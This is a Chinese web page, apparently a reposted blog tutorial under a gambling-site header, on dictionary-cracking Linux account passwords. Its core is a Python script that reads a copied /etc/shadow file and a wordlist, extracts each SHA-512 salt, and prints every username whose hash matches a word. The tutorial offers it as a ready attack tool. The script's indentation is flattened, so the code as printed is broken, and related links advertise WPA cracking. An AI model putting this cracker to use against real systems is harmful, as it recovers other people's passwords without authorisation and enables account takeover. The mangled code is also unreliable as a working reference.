必威体育Betway必威体育官网
当前位置:首页 > IT技术

“暴力”破解 Linux密码

时间:2019-10-11 16:14:47来源:IT技术作者:seo实验室小编阅读:50次「手机版」
 

暴力破解密码

1.首先我们需要一个“字典”,换而言之,就是密码库,可以用来破解linux用户的密码

2.接下来,我用一个脚本来给大家简单的写一下

#!/usr/bin/env Python

# -*- coding:utf-8 -*-

import crypt

def get_info(dfile,wfile):

f = open(dfile,"r")

alist = f.readlines()  #密码作为列表

f.close()

wf = open(wfile,"r")

wlist = wf.readlines()  #字典作为列表

wf.close()

  

adir = {}  #信息已字典的格式存储

for i in alist:

blist = i.split(":")

if len(blist[1]) > 3:

    adir["name"] = (blist[0])

    adir["passwd"] = (blist[1])

    clist = blist[1].split("$")  #分割出盐值内容

    salt = "$6$"+clist[2] #盐值需要字符串拼接成为完整盐值

    adir["salt"] = salt

    for kw in wlist:

        if adir["passwd"] == crypt.crypt(kw.rstrip(),adir["salt"]): #密码内容对比

            print(adir["name"],kw.rstrip())

if __name__ == "__main__":

dfile = "/tmp/shadow"  #密码文件

wfile = "/tmp/wordlist.TXT"  #字典文件

get_info(dfile,wfile)

相关阅读

详解Linux双网卡绑定之bond0

1、什么是bond? 网卡bond是通过多张网卡绑定为一个逻辑网卡,实现本地网卡的冗余,带宽扩容和负载均衡,在生产场景中是一种常用的技术

开始使用 Sandstorm 吧,一个开源 Web 应用平台 | Linux

了解 Sandstorm,

linux定时重启命令

最近在维护网站的时候 一两天后网站就会变的很卡,进入LINUX服务器查看 top -l 和 free -m 发现内存消耗过大,重启一般就解决问题了,

取代奶瓶Minidwep-gtk破解WPA 全攻略

原文地址为:取代奶瓶Minidwep-gtk破解WPA 全攻略 取代奶瓶Minidwep-gtk 破 WPA 全攻略 目录 1、 CDlinux 下使用 minidwepgtk 获

独角兽远程视界陷生死局,远程医疗租赁之惑该如何破解?

​即使独角兽远程视界出现了资金链短缺,我们也不能就此看衰整个远程医疗行业。因此,在远程医疗租赁行业不少交易环节尚未成熟的前提

分享到:

栏目导航

推荐阅读

热门阅读